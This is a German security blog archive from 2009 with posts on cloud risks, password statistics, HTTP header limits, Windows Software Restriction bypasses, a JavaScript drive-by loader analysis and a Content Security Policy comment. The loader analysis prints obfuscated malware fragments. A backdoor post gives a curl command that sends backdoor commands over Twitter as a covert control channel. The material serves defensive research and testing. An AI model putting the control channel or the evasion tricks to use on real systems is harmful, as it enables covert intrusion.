9. Einbusse bei Knowhow: Das Auslagern von Prozessen und Technologien wird meist umgesetzt, um bezüglich internen Ressourcen eine Kostenersparnis zu erreichen. Der Abbau von ausgebildetem Personal hat längerfristig die Einbusse von Knowhow und Kompetenzen zur Folge. Im schlimmsten Fall ist bei Verhandlungen und Problemen nicht einmal mehr jemand intern anwesend, der dem Sachverhalt ansatzweise ein Verständnis entgegenbringen kann. Ein etwaiges Insourcing gestaltet sich dann als Neuaufbau einer gesamten Abteilung (inkl. Personal, Prozesse, Strukturen).
10. Zentraler Angriffspunkt: Obschon Cloud Computing als Distributed Computing verstanden wird, wird damit ein zentraler Angriffspunkt geschaffen. Je mehr Mechanismen in eine spezifische Cloud ausgelagert werden, desto fokussierter kann sich ein Angreifer eben diesem Konstrukt annehmen. Eine Kompromittierung der Cloud hat theoretisch die Kompromittierung sämtlicher ausgelagerter Mechanismen zur Folge.

Cloud Computing kombiniert die unliebsamen Risiken von Virtualisierung und Outsourcing. Von der pauschalen Nutzung von Cloud Computing ist deshalb in Umgebungen mit hohen Ansprüchen an die Sicherheit abzusehen. Zu gross sind die Risiken, die sich bisweilen nur sehr schwer ausmachen und eliminieren lassen. Hilfestellung bei einer entsprechenden Risikokalkulation gewährt die umfangreiche aber auch nicht unumstrittene ENISA-Studie. Und mögliche Ansätze für ein sicheres Cloud Computing werden von RSA zusammengefasst.

Update 28. Dezember 2009

Marcus Ranum von Tenable Network Security hat in seinem Blog-Post Ranum’s Rants: Cloud Forum Roundtable einige äusserst zutreffende und damit lesenswerte Bemerkungen zur Entwicklung von Cloud Computing gemacht.

Update 18. Juni 2010

Anlässlich unseres Vortrags am ISMS Praxis Forum zum Thema Cloud Security werden auf der Basis dieses Beitrags die Präsentationsfolien hier bereitgestellt.

Marc Ruef | G+ (1030 Wörter)

► 20.11.2009 – Geschlechtsspezifische Passwortunsicherheiten

Der Beitrag Distribution of passwords between men and women stellt statistisches Grundmaterial bezüglich der geschlechterspezifischen Nutzung von unsicheren Passwörtern zur Verfügung. Dabei wurden insgesamt 873’000 Passwörter von männlichen (734’000) und weiblichen Benutzern (139’000) untersucht.

Als erstes ist zu sehen, welche Passwortlänge von Männern und Frauen bevorzugt wird. Auf den ersten Blick ist zu erkennen, dass grundsätzlich sehr ähnliche Passwortlängen angestrebt werden. Die durchschnittliche Passwortlänge bei allen Benutzern lag bei 6.94 Zeichen. Mit 31.5% sind 6-stellige Passwörter am meisten vertreten. Frauen tendieren eher zu etwas kürzeren Passwörtern. Mit 2% sind dreistellige Passwörter die ersten, bei denen eine Häufung zu beobachten ist. Die längsten Passwörter sind mit ebenfalls 2% für 12 Zeichen zu beobachten.

Es ist interessant zu sehen, dass Passwortlängen vorzugsweise in Zweierschritten zunehmen. So sind 6-stellige und 8-stellige Passwörter eindeutig beliebter, weder 7-stellige Passwörter. Eine Beobachtung, die ebenfalls durch Acunetix im Rahmen der Analyse der im Oktober verteilten Passwörter von Hotmail bestätigt wurde. Diese Eigenart der Passwortwahl wird voraussichtlich mit der Rhythmik der Eingaben sowie dem Hang zu gleichmässigen/symmetrischen Konstrukten zusammenhängen.

Weiterhin ist zu sehen, welche Form von personenbezogenen Daten als Passwörter verwendet werden. Frauen pflegen mit 67.46% ihren Vornamen zu verwenden, wobei dies “nur” bei 54.97% der Männer der Fall ist. Der Nachname scheint hingegen bei den Männern wichtiger zu sein, denn sie verwenden bei 28.48% eben diesen, wohingegen sich Frauen lediglich bei 22.06% der Fälle für diesen entscheiden. Die schwächere Bindung der Frau an ihren Nachnamen scheint auf Grund der vorwiegenden Übernahme des Familiennamen des Ehepartners absehbar zu sein. Männer benutzen sodann ebenso mit 7.89% vorwiegend die Kombination aus Vor- und Nachname, Frauen lediglich 5.90%. Postleitzahlen treten erstaunlich oft auf, wobei Männer 2.23% und Frauen 1.63% benutzen. Eine grosse geschlechtsspezifische Abweichung ist bei der Wahl der Telefonnummer als Passwort zu verzeichnen. Männer pflegen bei ganzen 5.15% und Frauen lediglich bei 1.97% darauf zurückzugreifen.

Diese Betrachtungen zeigen, dass sich statistische Abweichungen zwischen den Geschlechtern identifizieren lassen. Dies ist in erster Linie in akademischer Hinsicht interessant, kann geschlechtsorientierte Bruteforce- oder Social Engineering-Angriffe jedoch nur in sehr geringem Mass optimieren lassen. Diese Studie hilft jedoch dabei zu erkennen, welche grundlegenden Merkmale Passwörter haben und welche Angriffsmuster möglichst hohe Chancen auf Erfolg mit sich führen können.

Update 09. Juli 2010

In Anlehnung an diese Analyse wurde im Beitrag Passwortlänge der Cracker die Passwortlänge von normalen Benutzern mit denen von Crackern verglichen. Dabei konnten einige interessante Abweichungen ausgemacht werden.

Marc Ruef | G+ (491 Wörter)

► 13.11.2009 – HTTP-Header Zeilen bei GET-Requests

In den vorangegangenen Beiträgen HTTP-Header erwartete Anzahl Zeilen und HTTP-Header erwartete Grösse von GET-Requests wurden statistische Beobachtungen angestellt, um das erwartete und zugelassene Verhalten von Webbrowser-Implementierungen zu ermitteln.

Die Analysen wurden weitergetragen, indem die typischerweise auftretenden Header-Zeilen bei GET-Anfragen untersucht wurden. Dies ist zum Beispiel bei der Entwicklung eines hochsicheren Webservers oder bei der strikten Konfiguration eines Webproxies von Nutzen. Nachfolgende Grafik illustriert die 20 populärsten Header-Zeilen, wie sie von 300 untersuchten Webbrowsern verschickt werden.

Es ist zu sehen, dass der meistbenutzte Header User-Agent (14.67%) darstellt, direkt gefolgt von Host (14.08%). Das Ausbleiben der Host-Zeilen ist vor allem bei älteren Implementierungen zu beobachten, die ausschliesslich HTTP/0.9 oder HTTP/1.0 unterstützen – Bei HTTP/1.1 ist diese Zeile erforderlich (RFC 2616, Absatz 14.23, Host).

Danach folgen Accept (12.65%) und Connection (11.22%). Die drei drauf folgenden Header lehnen sich an und sind Accept-Language (9.65%), Accept-Encoding (9.30%) und Accept-Charset (6.69%). Erst an achter Stelle folgt die Referer-Zeile (5.51%).

Die gesamte Auswertung zeigt auf, dass es dennoch relativ schwierig ist, die erforderlichen, typischen und zugelassenen Header-Zeilen mit absoluter Genauigkeit zu determinieren. Zu viele Abweichungen zeigen die einzelnen Browser-Implementierungen. Spätestens wenn dann mit optionalen und proprietären X-Header Zeilen aufgewartet wird (der erste folgt als X-Forwarded-For auf Position 12 mit 1.13%). Ein intelligentes Filtern von Header-Zeilen ist aufgrund dieses Wildwuchses leider nicht in effizienter Weise umsetzbar.

Hinzu kommt das Problem, dass die unterschiedlichen Webbrowser nicht immer die vorgesehene Gross-/Kleinschreibung der Header-Zeilen einhalten. Normalerweise werden die Anfangsbuchstaben gross und alles andere klein geschrieben (z.B. User-Agent oder Accept). Einige Produkte pflegen jedoch zum Beispiel alles klein zu schreiben (z.B. user-agent, vorzugsweise durch Sony-Ericsson Handies) oder nur den ersten Buchstaben gross zu schreiben (z.B. Shelob 1.0 als User-agent). Eine Betrachtung dieser Finessen ist angedacht und wird voraussichtlich in einem zukünftigen Beitrag diskutiert werden.

Marc Ruef | G+ (663 Wörter)

► 06.11.2009 – Software Restriction: How to Make and how to Break

Das grundlegende Prinzip von Multiuser-Plattformen, wie sie im Windows-Umfeld beispielsweise mit Citrix eingeführt werden, liegt in der Einschränkung der jeweiligen Benutzer. Gerade bei Windows ist das besonders schwierig, weil die Multiser-Fähigkeit nicht Teil des grundlegenden Konzepts war.

So ist es mit gewissen Aufwänden oftmals möglich, dass neben den Published Applications ebenfalls weitere Prozesse gestartet und damit erweiterte Rechte erlangt werden können. Dies haben wir ausführlich im Fachartikel Citrix under Attack dokumentiert:

Administratoren entsprechender Systeme sind sich aber nur selten den Risiken bewusst, die eine derartig umfassende Multiuser-Umgebung mit sich bringt. Durch einfache Tricks können legitime Citrix-Nutzer ihre Rechte erweitern und im schlimmsten Fall mit wenigen Mausklicks die Kontrolle des Hosts erlangen.

Das gezielte Einschränken von jeglicher ausführbaren Dateien lässt sich mit Group Policies vornehmen. Mit secpol.msc können entsprechende Einstellungen unter Software Restriction Policies vorgenommen werden. Der Benutzer erhält sodann eine Fehlermeldung, will er eine Datei ausführen, die für ihn als nicht ausführbar gekennzeichnet wurde:

Wie so oft bei solchen Whitelist/Blacklist-Ansätzen arbeitet die Komplexität gegen die Sicherheit. Dies bedeutet, dass eine Vielzahl an Fehlern passieren können. Standardmässig ist bei aktivierter Policy eine Blacklist realisiert. Ohne dedizierte Blacklist-Einträge werden also noch keine Applikationen gehindert.

Generell muss definiert werden, für welche Dateitypen die Analyse und Einschränkung stattzufinden hat. Standardmässig werden ausführbare Dateien berücksichtigt, Libraries (z.B. DLLs) hingegen nicht. In einer separaten Liste werden alle Extensions zu den vermeintlich ausführbaren Dateien festgehalten. Dabei fällt auf, dass zwar Access-Datenbanken berücksichtigt werden (wahrscheinlich wegen VBA-Code). Word und Excel-Dokumente, die jedoch weitestgehend die gleiche Funktionalität bezüglich eingebettetem Code bieten, hingegen nicht:

Das Umstellen auf einen Whitelist-Ansatz ist mit einem Klick in den Main Settings möglich. Microsoft hat versucht ein Ausschliessen des Administrators zu verhindern, indem unter Additional Rules die zentralen Verzeichnisse des Betriebssystems pauschal zugelassen werden:

Sollte ein Angreifer Schreibrechte für diese Verzeichnisse haben, kann er seinen korrupten Programmcode dahin kopieren und erneut ausführen. Zudem finden sich in den genannten Verzeichnissen viele Systemutilities, die das Auswerten und Angreifen des Systems ermöglichen können (z.B. ping.exe, telnet.exe, arp.exe).

Administratoren pflegen vorwiegend derlei Path-Rules durchzusetzen. Durch Wildcards können sodann ganze Verzeichnisse, Verzeichnisstrukturen und Dateien freigegeben werden. Dort treten immerwieder typische Fehler auf, wie zum Beispiel die Freigabe von C:\*\SAP\*.exe. Mit dieser Definition ist sowohl C:\SAP\sapgui\saplogon.exe als auch C:\tmp\SAP\exploit.exe ausführbar.

Um zu verhindern, dass sich Dateien in einen anderen Pfad kopieren und damit ausführen lassen, lohnt sich das Anwenden sogenannter Hash Rules. Dabei wird nicht nur der Pfad- und Dateiname in die Whitelist übertragen, sondern ebenfalls MD5- oder SHA1-Hash sowie Dateigrösse abgelegt. Ein Angreifer müsste nun schon eine Kollision im genutzten Hash-Algorithmus nutzen, um die Attacke erfolgreich durchzusetzen. Ein vergleichbarer und nicht minder interessanter Angriff mittels Binary-Patching auf eine gesperrte cmd.exe kann in diesem Video angeschaut werden.

Marc Ruef | G+ (636 Wörter)

► 30.10.2009 – HTTP-Header erwartete Grösse von GET-Requests

Im Beitrag HTTP-Header erwartete Anzahl Zeilen haben wir diskutiert, welche Anzahl an Header-Zeilen in HTTP-Anfragen durch einen Webbrowser erwartet werden können. Diese statistische Auswertung ist von Wichtigkeit, wenn es darum geht, mittels Proxy und mod_security eine Hochsicherheitslösung zu schaffen.

Eine Betrachtung der gleichen Art fokussiert sich auf die erwartete Grösse der HTTP-Header, wie sie bei regulären GET-Anfragen beobachtet werden können. Auch hier liegen uns statistische Werte, die eine Ableitung zulassen, vor.

Insgesamt wurden die Header von 65’536 GET-Anfragen in einem Zeitraum von 4 Tagen protokolliert. Dies geschah auf computec.ch, wo mittels PHP ein Skript bei jedem Aufruf inkludiert wurde, welches die jeweiligen Header protokolliert hat. Als Basis wurde die entsprechende Funktion des browserrecon project verwendet.

Zuerst war es fragwürdig, ob und inwiefern doppelte Anfragen bzw. Anfragen gleicher Clients berücksichtigt werden sollten. Um ein möglichst realitätsnahes Abbild der Browserlandschaft darlegen zu können, wurde auf eine Bereinigung – diese hätte sowieso nur geringe Abweichungen aufgezeigt – verzichtet. Es wurden jedoch absichtlich offensichtliche Anfragen des reinen Zwecks eines Angriffs nach Möglichkeiten ausgeklammert (z.B. sehr lange Anfragen).

Die gezeigte Abbildung illustriert die Anfragesequenzen für die ersten 20’000 Anfragen. Hierbei ist sehr schön zu beobachten, wie längere Besuche, die mehrere Anfragen zur Folge haben, herauskristallisiert werden können. Dies ist anhand der horizontalen Verläufe auszumachen. Dabei fallen auch schon die typischen Wertbereiche ins Auge. Die minimale Header-Länge der beobachteten GET-Anfragen betrug 22 Bytes und die maximale beobachtete Länge betrug 1’679 Bytes. Als Durchschnittswert konnte 294.33 Bytes ausgemacht werden.

Die detaillierte Analyse der Grössenverteilung zeigt einzelne Spitzen auf, die auf populäre Implementierungen zurückzuführen sind. Sie ist in nachfolgender Grafik ersichtlich. Die höchste Anzahl von 16’016 Anfragen (24.44%) ist bei 201-210 auszumachen. Der zweithöchste Ausschlag findet sich mit 6’964 Anfragen (10.63%) bei 441-450 und der dritthöchste mit 4’543 Anfragen (6.93%) bei 251-260.

Aufgrund der mehrfachen Ausschläge in verschiedenen Wertebereichen ist es nicht einfach, eine absolute Empfehlung auszusprechen. Man kann jedoch sagen, dass HTTP GET Header mit einer Grösse über 800 Bytes im Alltag nicht vorkommen, deshalb genau untersucht oder verworfen werden sollten. In den meisten Fällen werden sie für Auswertungen und Angriffe eingesetzt werden.

Marc Ruef | G+ (426 Wörter)

► 27.10.2009 – Grundlegende Javascript Malware Analyse: Ein Beispiel

Für die Sicherheit der eigenen Web Applikation zu sorgen, ist die Verantwortung jedes Webseitenbetreibers. Doch wird eine Seite kompromittiert, so muss adäquat reagiert werden. Gerade wenn eine Webpräsenz dazu missbraucht wird, deren Benutzer mit Schadsoftware oder Exploits zu attackieren, ist eine Klärung der Umstände unabdinglich, um eine professionelle Reaktion zu gewährleisten und den schier unabwendbaren Reputationsschaden möglichst gering zu halten.

Wie soll man jedoch im Detail herausfinden, was der auf der eigenen Seite befindliche Schadcode tut und dies auch noch in einer nachvollziehbaren und sicheren Weise? Der Ansatz, der hier in der Regel gewählt wird, ist eine strukturierte Analyse des Schadcodes, den ich im Folgenden an einem konkreten Beispiel erklären möchte.

Achtung: Es handelt sich hierbei um einen realen Fall mit realem Schadcode der unter Umständen ebenso realen Schaden auf Ihrem System anrichten kann. Bitte besuchen Sie die genannten URIs nicht und betrachten Sie sämtliche Scripts ausschliesslich in einem Texteditor und Rhino, nicht in einem Webbrowser. Es besteht kein Haftungsanspruch.

Ausgangslage

Es wurde beobachtet, dass die Datei counter.js von einem Server mit russischer Domänenendung überdurchschnittlich oft in eine kompromittierte Seite eingebunden wird – teils mehrmals auf der selben Seite (Danke an Andreas für den Hinweis). Alle Dateien, die im Rahmen dieses Beitrages verwendet werden, stehen unter http://www.scip.ch/labs/files/20091027_jsmalware.zip zum Download bereit. Auch hier gilt die oben genannten Warnung.

Schritt 1: Re-Formatierung

Was im ersten Moment verwirrend aussieht, entsteht in erster Linie durch die (bewusste) Abwesenheit sämtlicher, der Übersicht dienlichen Massnahmen der Codeformatierungen, wie zum Beispiel Zeilenumbrüche oder Einrückungen von Codeblöcken. Javascript schert sich herzlich wenig um diesen Mangel an Sauberkeit, wir dagegen schon. Allerdings geht es dabei nicht um die Ästhetik, sondern die logische Verteilung des Codes auf einzelne, klar identifizierbare Linien. Das erleichtert das exakte Setzen der Breakpoints später enorm und erleichtert natürlich das Lesen des Codes.

Schritt 2: Analyse

Nachdem der Code allein durch eine etwas sauberere Formatierung bereits viel lesbarer ist, ist die weitere Bearbeitung geschmackssache. Während einige die “Trockenanalyse” im Texteditor vorziehen (Deadlisting), werden wir in an dieser Stelle den freien Javascript Debugger Rhino des Mozilla Projektes nutzen, um das File weiter zu analysieren.

Rhino wird im Hinblick auf derartige Use-Cases in der Regel missverstanden. Rhino ist eine komplett eigenständige, in Java gehaltene, Javascript Implementierung. Das heisst konkret: Die Syntax, wie sie unser Script verwendet, wird komplett verstanden. Rhino ist aber kein Firefox-Emulator, wodurch gewisse DOM-Objekte wie document, window oder ähnliches nicht von Haus aus verfügbar sind.

So kommt es denn auch, dass Rhino bereits in der ersten Zeile unseres Scripts seinen Dienst verwehrt, weil ihm document.cookie unbekannt ist.

var $a = document.cookie;		// Lese Cookie
  var $b = $a.indexOf("opt=");	// Prüfe ob das Cookie String "opt=" enthält
  if ($b != -1) {				// Prüfe, ob Suche erfolglos war
  } else {						
      var $c = new Date;		// Generiere Datum
      $c.setTime($c.getTime() + 3600000);	// Generiere Timeout
      document.cookie = "opt=update;expires=" + $c.toGMTString(); // Cookie

Der erste Teil des Skripts ist sehr einfach verständlich. Der Autor liest die Cookiedaten der geladenen Seite aus und prüft, ob die Variable opt gesetzt ist. Wenn dies der Fall ist, so gibt die Funktion indexOf in der zweiten Zeile einen positiven Integer Wert, nämlich die Position des Strings opt= im Cookiestring aus. Der Autor des Scripts war aber darum bemüht, dass der weitere Verlauf des Scripts nur zur Ausführung kommt, wenn opt nicht bereits gesetzt wurde. Ist dies der Fall, so setzt er in den nächsten Zeilen des Cookie selber, versehen mit einem Timeout von einer Stunde.

Dieser erste Codeblock erfüllt mehrere Zwecke:

1. Das Script wird auch bei mehreren Injektionen nur einmal binnen einer gewissen Zeitspanne ausgeführt, nämlich bei der ersten Instanzierung wenn kein Cookie existiert.
2. Dadurch, dass das Objekt document.cookie im Regelfall in Sandbox Umgebung, wir der von uns angestrebten, nicht existiert, wird die automatisierte Analyse z.B. durch Web Gateways erschwert. Es existieren zwar weitaus perfidere Methoden, derartige Fallen zu implementieren, weshalb wir hier nicht im Detail darauf eingehen wollen.

Stattdessen ist unser Ziel, die Ausführung des Codes zu ermöglichen. Das erreichen wir sehr einfach, indem wir das gewünschte Objekt selber bauen. document.cookie ist ein String Wert, der im Falle eines Webbrowsers sowohl lesend wie auch schreibend genutzt werden kann. Wir fügen daher folgende Definition zu Beginn des Scripts ein:

// Emulate document.cookie behaviour
function dummyStruct() {
	this.cookie = "Foo";
}
document = new dummyStruct();

Durch diese Änderung wird unser Script weitgehend lauffähig. $a wird der Wert Foo aus unserer Dummy-Struktur zugewiesen. Darin ist der String opt= natürlich nicht enthalten, weshalb b den Wert -1 erhält und das Script weiter ausgeführt wird. $c wird anschliessend als Datumsobjekt erstellt und document.cookie wird neu gesetzt.

Nach der Ausführung des initialen Codeblocks folgt der Hauptteil des Scripts, der in einem try-Block enkapsuliert ist, um keine auffälligen Meldungen im Falle eines Fehlers während der Ausführung zu generieren. Die zahlreichen Funktionsdefinitionen, die folgen, sind für uns im Moment nur reduziert relevant, wie widmen uns daher direkt der nächsten Zeile, die direkt ausgeführt werden soll:

document["w4151r4772i8362t4773e89191269".replace(/[0-9]/g, "")](SPyDgNA("CgTm"),
	cues("YwUqxSVvI"));

Auch hier bedient sich der Autor wieder mehrerer Tricks, um seinen Code möglichst immun gegenüber automatisierten Analysen zu machen. Verschiedene Punkte sind auffällig:

1. Die übliche, allgemein verbreitete Syntax, um eine Funktion eines Objektes aufzurufen, verwendet Punkte als Delimiter. Zum Beispiel wird mit window.close() die Funktion zum Schliessen eines Browserfensters aufgerufen. Alternativ könnte diese Funktion aber auch über die weitaus seltenere Syntax window["close"] aufgerufen werden.
2. Der Autor will also eine Funktion des DOM Objektes document ansteuern, aber der Name der Funktion ("w4151r4772i8362t4773e89191269") erscheint seltsam. Allerdings wird auf diesen String direkt die Funktion replace(/[0-9]/g angewendet, die alle numerischen Zeichen aus dem String entfernt. Das ergibt, was der eine oder andere mittlerweile bereits selber entdeckt hat: document["write"] – die übliche Funktion, die verwendet wird, um direkt in das geladene HTML File zu schreiben.

Wie vorgängig erwähnt, dienen auch diese Mechanismen dem Aushebeln von automatisierten Filtermechanismen. Im Regelfall suchen selbige nach auffälligen Patterns, wie eben document.write oder ähnlich. Durch das Nutzen der sprachlichen Logik, wird eine musterbasierte Erkennung nahezu verunmöglicht, der Code muss interpretiert werden, um den verdächtigen Code zu identifizieren. Diese Funktionalität ist aber bislang nur sehr wenigen Content Filtern und vergleichbaren Gerätschaften vergönnt, was den Einsatz an dieser Stelle erklärt.

Wir wissen mittlerweile, dass es offensichtlich das primäre Ziel der Applikation ist, Daten zur Laufzeit in die geladene Seite zu injizieren. Die Frage ist nun, um was für Daten es sich handelt. Schauen wir uns noch einmal die Funktion an, wie wir sie vorgängig aufgeschlüsselt haben:

document["write"](SPyDgNA("CgTm"), cues("YwUqxSVvI"));

Es sollen die Rückgabewerte der Funktionen SPyDgNA und cues, jeweils mit einem vordefinierten String als Parameter, ausgegeben werden. Die beiden Funktionen werden im Script definiert und beinhalten – beide – eine liebevoll verkomplizierte Reihe von Umwandlungen, die letzten Endes zu den gewünschten Endresultaten führen, die ausgegeben werden sollen.

Während ich dem geneigten Leser nicht vorenthalten möchte, diese beiden Funktionen im Detail auseinanderzupflücken, um die genaue Funktion nachzuvollziehen, können wir es uns an dieser Stelle durch den Einsatz unseres Debuggers deutlich bequemer machen. Wir könnten in der oben dargestellten Zeile des document.write Aufrufes einfach einen Breakpoint setzen und danach über die Evaluate-Funktion in Rhino die beiden Funktionen manuell aufrufen. Diese Methode ist adäquat, um die Ausgabe von document.write hier zu eruieren, allerdings hat sie den entscheidenden Nachteil, dass wir den weiteren Verlauf des Scripts nicht mehr nachvollziehen können, weil Rhino mangels Kenntnis der Funktion document.write gegen die Wand läuft.

Wir entscheiden uns daher für die nachhaltigere Methode und implementieren in unserer bereits existenten Dummy-Klasse die Funktion write.

// Emulate document.cookie behaviour
function dummyStruct() {
	this.cookie = "Foo";
	this.write = function(str, str2) {
		var output = ""
		for (var n = 0; n < arguments.length; n++) {
			output += arguments[n];
		}
		print(output);
	}
}
document = new dummyStruct();

Die Funktion write emuliert die Ausgabe im Browser, schreibt aber die jeweiligen Strings statt in ein Browserfenster in die Funktionsvariable output und anschliessend mittels der Funktion print() in die Debugging Konsole (Window -> Console) von Rhino. Der Umweg über die output-Variable ist nötig, weil print() standardmässig einen Zeilenumbruch (\n) anfügt, was die Ausgabe bei Verwendung mehrerer Argumente unerwünschterweise verändert.

Da wir nun alle Fallstricke umgangen und unseren Ausgabekanal definiert haben, lassen wir Rhino durch das Script laufen. Es empfiehlt sich, am Ende der Funktion cues() einen Breakpoint zu setzen, um das Verhalten nach dem initialen document.write zu beobachten, falls weitere Aktionen angestrebt werden. Im vorliegenden Fall scheint sich die Funktionalität aber, zumindest zum Zeitpunkt des ersten Ladevorgangs, auf den analysierten Funktionsaufruf zu beschränken.

Nachdem das Script vollständig durchgelaufen ist, können wir über die Konsole den HTML Code betrachten, den das Script via document.write in die betroffene Webseite zu schreiben versucht:

Schlussfolgerung

Betrachten wir nun die Ausgabe, so wird schnell klar, dass es sich beim Script um einen klassischen Loader für Drive-by Angriffe handelt. Die geladene Seite enthält weitere Scripts, die durch das geschriebene iFrame nachgeladen und ausgeführt werden. Die Domäne yahoosite . ru, die wir an dieser Stelle bewusst weder korrekt ausschreiben noch verlinken möchte, ist übrigens eine bekannte FastFlux Ressource und scheint, zumindest den 1,6 Millionen Google Resultaten zu Folge, schon länger verwendet zu werden.

Stefan Friedli | G+ (1689 Wörter)

► 23.10.2009 – Verteilte Orchestrierung eines Backdoors

Klassische Backdoors (Remote Access Tools), wie zum Beispiel BackOrifice oder SubSeven, haben eine Direktverbindung zwischen Client und Server umgesetzt. Da das kompromittierte System den Server auf einen Dienst gebunden und auf dem genutzten Ports eingehende Verbindungen zulassen musste, konnte diese Art der Fernsteuerung einfach erkannt und unterbunden werden (zum Beispiel kein Zulassen eingehender Verbindungen mittels Firewalling).

Im Rahmen unserer Backdoor Tests können wir nicht auf derlei archaische und simple Mechanismen zurückgreifen. Die verschiedenen Sicherheitsmechanismen unserer Kunden sind zu ausgereift und intelligent umgesetzt, so dass wir auf alternative Kommunikationswege ausweichen müssen (einige davon wurden im Labs Post Backdoor Testing optimieren diskutiert).

Wir haben schon verschiedene Implementierungen umgesetzt und die entsprechenden Lösungen in den jeweiligen Projekten nutzen können, um eine Orchestrierung der infizierten Systeme durchführen zu können. Eine exotische Variante bestand darin, die Befehle für die Backdoor sowie die Rückantworten in chiffrierter Weise auf einem öffentlichen Usenet-Server abzulegen (ein ähnliches Prinzip wird mittlerweile auch von kommerziellen Botnets verwendet).

Die grösste Einschränkung dieses Ansatzes ist, dass Firmen oftmals keine Zugriffe über NNTP auf Port tcp/119 zulassen. Das gleiche Prinzip der zentralisierten Kommunikationsschnittstelle lässt sich deshalb am besten in den Webbereich übertragen. So ist es möglich, dass der Datenaustausch über einen populären Webdienst wie Twitter stattfindet. So können Befehle bereitgestellt und die Rückantworten wiederum eingeholt werden; letztere können jenachdem mit base64 codiert werden. Der Zugriff auf Twitter ist dank RSS und der simplen API ohne viel Aufwand möglich. Beispiel einer Mitteilung mit cURL:

curl --basic --user username:password --data status="BACKDOOR_COMMAND
run C:\WINDOWS\system32\notepad.exe" http://twitter.com/statuses/update.xml

Sollten Zugriffe auf einen Dienst blockiert werden, kann in dynamischer Weise auf einen anderen Dienst ausgewichen werden. Hierzu bieten sich soziale Netze wie MySpace oder Anwendungen wie Pastebin an.

Marc Ruef | G+ (343 Wörter)

► 16.10.2009 – HTTP-Header erwartete Anzahl Zeilen

Einige unserer Kunden betreiben Hochsicherheitsumgebungen. In diesen soll und muss das Höchstmass an möglicher Sicherheit erreicht werden. Dies sind leider eine der wenigsten Umgebungen, in denen Proxies effektiv so gebraucht werden, wie sie ursprünglich gedacht wurden. Durch sie wird sodann eine genaue Protocol Inspection durchgesetzt und jegliche Abweichung der definierten Standards oder der erwarteten Formalitäten sanktioniert.

Eine Art der Analyse und Einschränkung betrifft die Anzahl der Header-Zeilen, die in einer HTTP-Anfrage durch einen Webbrowser zugelassen werden. Dieser und ähnliche Punkte führen immerwieder zu Diskussionen, welche Anzahl denn nun zu erwarten und entsprechend zuzulassen ist.

Im Rahmen des browserrecon project wird das Fingerprinting von HTTP-Clients durchgeführt. Dabei wird ebenfalls das Auftreten der Header-Zeilen begutachtet. Die bereitgestellte Online-Datenbank zeigt sodann auf, welche Art und Anzahl an Header die jeweiligen Implementierungen einsetzen. Entsprechend kann eine statistische Aussage dieser Diskussion zugeteilt werden.

Es wurden 301 unterschiedliche Webbrowser-Implementierungen untersucht. Einige obskure Implementierungen verwenden lediglich eine Header-Zeile (0.66%). Die grösste je beobachtete Anzahl an Header-Zeilen umfasste 13 Stück. Lediglich 5 Webbrowser nutzen eine derart hohe Anzahl (1.66%). Der Durchschnitt der zu erwartenden Header-Zeilen beläuft sich damit auf 6.83 Stück. Die dargelegte Statistik zeigt die Distribution der Anzahl der genutzten Header-Zeilen auf.

Aus diesem Grund empfehlen wir, die maximale Anzahl der zu erwartenden Header-Zeilen in einer HTTP-Anfrage eines regulären Webbrowsers auf maximal zwischen 15 und 20 festzulegen. Dadurch können Angriffsversuche, die eine Vielzahl an Headern erfordern, eingeschränkt oder gar gänzlich verhindert werden.

Marc Ruef | G+ (295 Wörter)

► 09.10.2009 – Kommentar zu Content Security Policy (CSP)

Im Webbereich sind Cross Site Scripting-Schwachstellen für einen Grossteil erfolgreicher Angriffe verantwortlich. Und mit der Etablierung von Web 2.0, das mit Ajax auf Javascript basiert, ist dieses Problem aus funktionalen Gründen nicht mehr ohne weiteres zu eliminieren.

Die jeweiligen Browserhersteller sind darum bemüht, das Ausnutzen derartiger Schwachstellen clientseitig anzugehen. Microsoft hat im Internet Explorer 8 einen simplen Filter für typische Pattern implementiert, um reflektive Type-1 Angriffe abzuwehren. Wie immer bei musterbasierten Blacklists kann auch hier mit klassischen Massnahmen die Einschränkung umgangen werden:

Beim Herumspielen mit dem neuen XSS-Filter fand ich einen interessanten Weg, wie durch einfaches Maskieren von beliebigem Javascript durch Nullbytes reflektives XSS (auch Type-1 XSS genannt) am Filter vorbeigeschleust werden kann und der Code ohne Warnung auf dem Client ausgeführt wird.

Das Mozilla Team geht noch einen Schritt weiter und führt in den kommenden Versionen von Firefox die Content Security Policy (vorgesehen für Firefox 3.6 oder 3.7) ein. Bei dieser wird es möglich, dass ein Webserver bzw. eine Webapplikation durch den Header X-Content-Security-Policy die Herkunft von Script-Code einschränken kann.

Die wichtigste Eigenschaft der CSP ist, dass bei der Anwendung sämtlicher Inline-Code nicht mehr ausgeführt wird. Dies gilt für script-Tags, Javascript-URIs und Event-Handlers. Dadurch kann ein Grossteil der üblichen XSS-Angriffe – dies betrifft ebenfalls persistente Type-2 Attacken – verhindert werden.

Zugelassen sind sodann nur noch Skripte, die explizit auf der verteilten Whitelist vermerkt sind. Dies sind in erster Linie Webserver, die beispielsweise in dedizierter Weise für das Verteilen der JS-Dateien zuständig sind. Aber auch das Hinzufügen eigener Events bleibt möglich.

Das gesamte Modell scheint ein richtiger Schritt in die richtige Richtung zu sein. Die grundlegenden Probleme von XSS-Attacken werden flankiert, so dass wohl ein Grossteil der üblichen Schwachstellen nicht mehr ohne weiteres ausnutzbar bleiben wird.

Dennoch werden mit CSP nicht nur Vorteile eingebracht. Das zusätzliche Modell erhöht die Komplexität einer Installation (und ebenfalls der Browser-Software). Vor allem auch deswegen, weil Webapplikationen nicht mehr ohne weiteres kleinere Javascript-Snipplets einbinden können. Das Unterbringen von Script-Code muss mit bedacht gewählt und umgesetzt werden. Gerade ältere Projekte oder Projekte aus dem nicht-professionellen Umfeld werden mit dieser zusätzlichen Hürde zu kämpfen haben. Dass der eine oder andere Entwickler deshalb auf CSP verzichtet ist wohl anzunehmen.

Ebenso gewinnen damit Header Injection Angriffe ein Mehr an Wichtigkeit. Durch erweiterte Manipulationen liessen sich nämlich die jeweiligen Zusatzfunktionen wieder deaktivieren und damit der verwundbare Zustand wiederherstellen. Die CSP bleibt damit wohl in erster Linie eine Symptombekämpfung:

Eine Veränderung, die den Angriff in seiner Form verändert, ihn jedoch nicht verhindert, ist nicht als (umfassende) Gegenmassnahme zu verstehen.

Marc Ruef | G+ (538 Wörter)

► 02.10.2009 – Backdoor Testing optimieren

